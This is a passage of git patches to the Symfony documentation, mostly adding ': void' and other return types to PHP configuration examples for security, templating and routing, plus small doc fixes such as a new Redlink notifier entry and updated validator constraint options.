+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -402,7 +402,7 @@ key:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -480,7 +480,7 @@ access those URLs via a specific port. This could be useful for example for
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -534,7 +534,7 @@ the user will be redirected to ``https``:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 745c68da79d..5671b0538a1 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -89,7 +89,7 @@ Now, configure this service ID as the entry point for the firewall:
         use App\Security\AuthenticationEntryPoint;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 // ....
                 ->entryPoint(AuthenticationEntryPoint::class)
@@ -165,7 +165,7 @@ configure it under your firewall:
         use App\Security\AccessDeniedHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 // ....
                 ->accessDeniedHandler(AccessDeniedHandler::class)
diff --git a/security/access_token.rst b/security/access_token.rst
index d2b2ab4f6a0..c1e1a40db3d 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -64,7 +64,7 @@ digital signature, etc.).
         use App\Security\AccessTokenHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
@@ -193,7 +193,7 @@ You can also create a custom extractor. The class must implement
         use App\Security\CustomTokenExtractor;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
@@ -252,7 +252,7 @@ important**: the first in the list is called first.
         use App\Security\CustomTokenExtractor;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
@@ -326,7 +326,7 @@ and configure the service ID as the ``success_handler``:
         use App\Security\Authentication\AuthenticationSuccessHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler(AccessTokenHandler::class)
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index f817bb159de..76e2fc1b291 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -120,7 +120,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
         use App\Security\ApiKeyAuthenticator;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
             // ....
 
@@ -239,7 +239,7 @@ using :ref:`the user provider <security-user-providers>`::
                 // ...
 
                 return new Passport(
-                    new UserBadge($email, function (string $userIdentifier) {
+                    new UserBadge($email, function (string $userIdentifier): ?User {
                         return $this->userRepository->findOneBy(['email' => $userIdentifier]);
                     }),
                     $credentials
@@ -269,7 +269,7 @@ The following credential classes are supported by default:
             // If this function returns anything else than `true`, the credentials
             // are marked as invalid.
             // The $credentials parameter is equal to the next argument of this class
-            function ($credentials, UserInterface $user) {
+            function (string $credentials, UserInterface $user): bool {
                 return $user->getApiToken() === $credentials;
             },
 
diff --git a/security/entry_point.rst b/security/entry_point.rst
index c69c6ed647d..e99a4039fcb 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -63,7 +63,7 @@ You can configure this using the ``entry_point`` setting:
         use App\Security\SocialConnectAuthenticator;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
             // ....
 
@@ -154,7 +154,7 @@ split the configuration into two separate firewalls:
         use App\Security\LoginFormAuthenticator;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $apiFirewall = $security->firewall('api');
             $apiFirewall
                 ->pattern('^/api')
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index dcf6a1a5f4d..be0237c0e39 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -63,7 +63,7 @@ if the request path matches the configured ``pattern``.
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
@@ -122,7 +122,7 @@ only initialize if the host from the request matches against the configuration.
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
@@ -182,7 +182,7 @@ the provided HTTP methods.
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
@@ -241,7 +241,7 @@ If the above options don't fit your needs you can configure any service implemen
         use App\Security\CustomRequestMatcher;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ....
 
             $security->firewall('secured_area')
diff --git a/security/force_https.rst b/security/force_https.rst
index 817adbdb50f..cbcfcb46147 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -51,7 +51,7 @@ access control:
             // config/packages/security.php
             use Symfony\Config\SecurityConfig;
 
-            return static function (SecurityConfig $security) {
+            return static function (SecurityConfig $security): void {
                 // ....
 
                 $security->accessControl()
diff --git a/security/form_login.rst b/security/form_login.rst
index 84fe1aec6c1..2b5eba96340 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -65,7 +65,7 @@ a relative/absolute URL or a Symfony route name:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -123,7 +123,7 @@ previously requested URL and always redirect to the default page:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -211,7 +211,7 @@ parameter is included in the request, you may use the value of the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -278,7 +278,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
@@ -355,7 +355,7 @@ redirects can be customized using the  ``target_path_parameter`` and
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->firewall('main')
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index c6e7e7ee2ae..ec18491005a 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -54,7 +54,7 @@ listener:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -113,7 +113,7 @@ as the value to the current URL:
 
             // config/packages/security.php
             use Symfony\Config\SecurityConfig;
-            return static function (SecurityConfig $security) {
+            return static function (SecurityConfig $security): void {
                 // ...
                 $security->firewall('main')
                     // ...
@@ -229,7 +229,7 @@ also adjust the query parameter name via the ``parameter`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -291,7 +291,7 @@ This feature allows you to control the redirection target route via ``target_rou
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -347,7 +347,7 @@ be called):
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
diff --git a/security/ldap.rst b/security/ldap.rst
index 44c2193ff38..b2f5a3e753c 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -184,7 +184,7 @@ use the ``ldap`` user provider.
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->provider('ldap_users')
                 ->ldap()
                     ->service(Ldap::class)
@@ -406,7 +406,7 @@ Configuration example for form login
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->formLoginLdap()
                     ->service(Ldap::class)
@@ -460,7 +460,7 @@ Configuration example for HTTP Basic
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->stateless(true)
                 ->formLoginLdap()
@@ -520,7 +520,7 @@ Configuration example for form login and query_string
         use Symfony\Component\Ldap\Ldap;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->stateless(true)
                 ->formLoginLdap()
diff --git a/security/login_link.rst b/security/login_link.rst
index 76f6c767617..14affeb47cd 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -62,7 +62,7 @@ under the firewall. You must configure a ``check_route`` and
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -126,7 +126,7 @@ intercept requests to this route:
         use App\Controller\DefaultController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             // ...
             $routes->add('login_check', '/login_check');
         };
@@ -364,7 +364,7 @@ seconds). You can customize this using the ``lifetime`` option:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -449,7 +449,7 @@ You can add more properties to the ``hash`` by using the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -521,7 +521,7 @@ cache. Enable this support by setting the ``max_uses`` option:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -594,7 +594,7 @@ the authenticator only handle HTTP POST methods:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
@@ -740,7 +740,7 @@ Then, configure this service ID as the ``success_handler``:
         use App\Security\Authentication\AuthenticationSuccessHandler;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('main')
                 ->loginLink()
                     ->checkRoute('login_check')
diff --git a/security/passwords.rst b/security/passwords.rst
index 2cafc024ce3..c4248ee4eea 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -71,7 +71,7 @@ optionally some *algorithm options*:
         use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             // auto hasher with default options for the User class (and children)
@@ -179,7 +179,7 @@ Further in this article, you can find a
             use App\Entity\User;
             use Symfony\Config\SecurityConfig;
 
-            return static function (SecurityConfig $security) {
+            return static function (SecurityConfig $security): void {
                 // ...
 
                 // Use your user class name here
@@ -369,7 +369,7 @@ on the new hasher to point to the old, legacy hasher(s):
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('legacy')
                 ->algorithm('sha256')
@@ -588,7 +588,7 @@ cost. This can be done with named hashers:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('harsh')
                 ->algorithm('auto')
@@ -685,7 +685,7 @@ you must register a service for it in order to use it as a named hasher:
         use App\Security\Hasher\MyCustomPasswordHasher;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('app_hasher')
                 ->id(MyCustomPasswordHasher::class)
@@ -903,7 +903,7 @@ Now, define a password hasher using the ``id`` setting:
         use App\Security\Hasher\CustomVerySecureHasher;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->passwordHasher('app_hasher')
                 // the service ID of your custom hasher (the FQCN using the default services.yaml)
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 3faa9b1e47a..83b16c33a93 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -62,7 +62,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -184,7 +184,7 @@ allow users to opt-out. In these cases, you can use the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -347,7 +347,7 @@ are fetched from the user object using the
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -431,7 +431,7 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
@@ -520,7 +520,7 @@ Then, configure the service ID of your custom token provider as ``service``:
         use App\Security\RememberMe\CustomTokenProvider;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 // ...
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index b0324a4d393..99cdfe04076 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -105,7 +105,7 @@ is the service id of your user checker:
         use App\Security\UserChecker;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('main')
                 ->pattern('^/')
@@ -244,7 +244,7 @@ Once your checker services are tagged, next you will need configure your firewal
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
             $security->firewall('api')
                 ->pattern('^/api')
diff --git a/security/voters.rst b/security/voters.rst
index 21df144e7bc..0f47a4cdd7a 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -318,7 +318,7 @@ security configuration:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->accessDecisionManager()
                 ->strategy('unanimous')
                 ->allowIfAllAbstain(false)
@@ -365,7 +365,7 @@ option to use a custom service (your service must implement the
         use App\Security\MyCustomAccessDecisionStrategy;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->accessDecisionManager()
                 ->strategyService(MyCustomAccessDecisionStrategy::class)
                 // ...
@@ -412,7 +412,7 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
         use App\Security\MyCustomAccessDecisionManager;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->accessDecisionManager()
                 ->service(MyCustomAccessDecisionManager::class)
                 // ...
diff --git a/templates.rst b/templates.rst
index 5f59c91f59a..182f3d759a6 100644
--- a/templates.rst
+++ b/templates.rst
@@ -244,7 +244,7 @@ Consider the following routing configuration:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('blog_index', '/')
                 ->controller([BlogController::class, 'index'])
             ;
@@ -432,7 +432,7 @@ inside the main Twig configuration file:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->global('ga_tracking')->value('UA-xxxxx-x');
@@ -491,7 +491,7 @@ in container parameters <service-container-parameters>`:
         use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
@@ -709,7 +709,7 @@ provided by Symfony:
         use Symfony\Bundle\FrameworkBundle\Controller\TemplateController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('acme_privacy', '/privacy')
                 ->controller(TemplateController::class)
                 ->defaults([
@@ -1321,7 +1321,7 @@ the ``value`` is the Twig namespace, which is explained later:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             // directories are relative to the project root dir (but you
@@ -1377,7 +1377,7 @@ configuration to define a namespace for each template directory:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->path('email/default/templates', 'email');
diff --git a/testing.rst b/testing.rst
index 6bdafc1c32e..da91d81cf7b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -187,7 +187,7 @@ code to production:
         // config/packages/test/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->strictVariables(true);
         };
 
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 65669698539..139d94efdd9 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -48,10 +48,12 @@ narrow down your node selection by chaining the method calls::
 
     $crawler
         ->filter('h1')
-        ->reduce(function ($node, $i) {
+        ->reduce(function ($node, int $i): bool {
             if (!$node->attr('class')) {
                 return false;
             }
+
+            return true;
         })
         ->first()
     ;
@@ -86,6 +88,6 @@ The Crawler can extract information from the nodes::
     $info = $crawler->extract(['_text', 'href']);
 
     // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function ($node, $i) {
+    $data = $crawler->each(function ($node, int $i): string {
         return $node->attr('href');
     });
diff --git a/translation.rst b/translation.rst
index 9842e561f1d..22969db3457 100644
--- a/translation.rst
+++ b/translation.rst
@@ -854,7 +854,7 @@ A better policy is to include the locale in the URL using the
         use App\Controller\ContactController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('contact', '/{_locale}/contact')
                 ->controller([ContactController::class, 'index'])
                 ->requirements([

From b6a23b74b9adf69ca572ae82b788599f974253af Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 21 Jun 2023 11:16:08 +0200
Subject: [PATCH 3418/5766] [DependencyInjection] Remove not implemented
 behavior

Follow-up https://github.com/symfony/symfony-docs/pull/17576
---
 .../service_subscribers_locators.rst             | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index babb7849fa8..30dbace8e30 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -417,13 +417,6 @@ other services. To do so, create a new service definition using the
                 # add the following tag to the service definition:
                 # tags: ['container.service_locator']
 
-            # if the element has no key, the ID of the original service is used
-            app.another_command_handler_locator:
-                class: Symfony\Component\DependencyInjection\ServiceLocator
-                arguments:
-                    -
-                        - '@app.command_handler.baz'
-
     .. code-block:: xml
 
         <!-- config/services.xml -->
@@ -438,8 +431,6 @@ other services. To do so, create a new service definition using the
                     <argument type="collection">
                         <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/>
                         <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/>
-                        <!-- if the element has no key, the ID of the original service is used -->
-                        <argument type="service" id="app.command_handler.baz"/>
                     </argument>
                     <!--
                         if you are not using the default service autoconfiguration,
@@ -470,13 +461,6 @@ other services. To do so, create a new service definition using the
                 // add the following tag to the service definition:
                 // ->tag('container.service_locator')
             ;
-
-            // if the element has no key, the ID of the original service is used
-            $services->set('app.another_command_handler_locator', ServiceLocator::class)
-                ->args([[
-                    service('app.command_handler.baz'),
-                ]])
-            ;
         };
 
 .. note::

From 9b9cd366453bdefba146e49451372c1e597b2092 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mateusz=20=C5=BBy=C5=82a?= <mateusz.zylaa@gmail.com>
Date: Thu, 27 Apr 2023 12:45:11 +0200
Subject: [PATCH 3419/5766] Add Redlink docs

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index e1557914e04..2d619165f98 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -82,6 +82,7 @@ Service             Package                                DSN
 `OrangeSms`_        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 `OvhCloud`_         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 `Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
+`Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 `Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
@@ -116,6 +117,10 @@ Service             Package                                DSN
     were introduced in Symfony 6.3.
     The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The Redlink integration was introduced in Symfony 6.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -1011,6 +1016,7 @@ is dispatched. Listeners receive a
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
+.. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From b7a9195d42b6bbecd34eccc9032efb041d492b9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Jun 2023 12:05:20 +0200
Subject: [PATCH 3420/5766] Fix code sample by reordering some import
 statements

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 9f6882a8450..956e731c5ab 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -393,8 +393,8 @@ the `PSR-15`_ interfaces for HTTP request handling.
 However, a ReactPHP application will need some special logic to *run*. That logic
 is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
 
-    use Psr\Http\Message\ServerRequestInterface;
     use Psr\Http\Message\ResponseInterface;
+    use Psr\Http\Message\ServerRequestInterface;
     use Psr\Http\Server\RequestHandlerInterface;
     use React\EventLoop\Factory as ReactFactory;
     use React\Http\Server as ReactHttpServer;

From 988645f0e48ad0a312df463a6623fbb2bce351de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Jun 2023 12:39:21 +0200
Subject: [PATCH 3421/5766] Minor tweak

---
 components/console/events.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 8cbfe258521..66e3cad013c 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -250,10 +250,10 @@ handle all signals e.g. to do some tasks before terminating the command.
     :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName`
     method.
 
-.. versionadded:: 6.4
+    .. versionadded:: 6.4
 
-    The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
-    introduced in Symfony 6.4.
+        The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
+        introduced in Symfony 6.4.
 
 .. deprecated:: 6.3
 

From 05a70aeaf2ef11a95eb9107a41243aca9115d75b Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 21 Jun 2023 11:30:12 -0600
Subject: [PATCH 3422/5766] Update cache.rst

add 'private' for php 8 constructor
---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index b8cb19935d8..e739d27f4d4 100644
--- a/cache.rst
+++ b/cache.rst
@@ -315,7 +315,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
     }
 
     // in a service
-    public function __construct(CacheInterface $customThingCache)
+    public function __construct(private CacheInterface $customThingCache)
     {
         // ...
     }

From 92642cad44dea5afc49e3a266cb6d55a177e3f4b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Jun 2023 11:26:50 +0200
Subject: [PATCH 3423/5766] [Validator] Allow single constraint to be passed to
 the constraints option of the `When` constraint

---
 reference/constraints/When.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index ed855857b1d..8e2ec97c4f2 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -271,9 +271,13 @@ You can also pass custom variables using the `values`_ option.
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array``
+**type**: ``array|Constraint``
 
-The constraints that are applied if the expression returns true.
+One or multiple constraints that are applied if the expression returns true.
+
+.. versionadded:: 6.4
+
+    Passing a single ``Constraint`` instead of an array was introduced in Symfony 6.4.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From af6a70076268f4a6ce1e7137ffc8523739dadc3a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Jun 2023 11:29:36 +0200
Subject: [PATCH 3424/5766] [Validator] Allow single integer for the `versions`
 option of the `Uuid` constraint

---
 reference/constraints/Uuid.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index c93a4800713..d8ff5fadb8b 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -114,7 +114,7 @@ will allow alternate input formats like:
 ``versions``
 ~~~~~~~~~~~~
 
-**type**: ``int[]`` **default**: ``[1,2,3,4,5,6,7,8]``
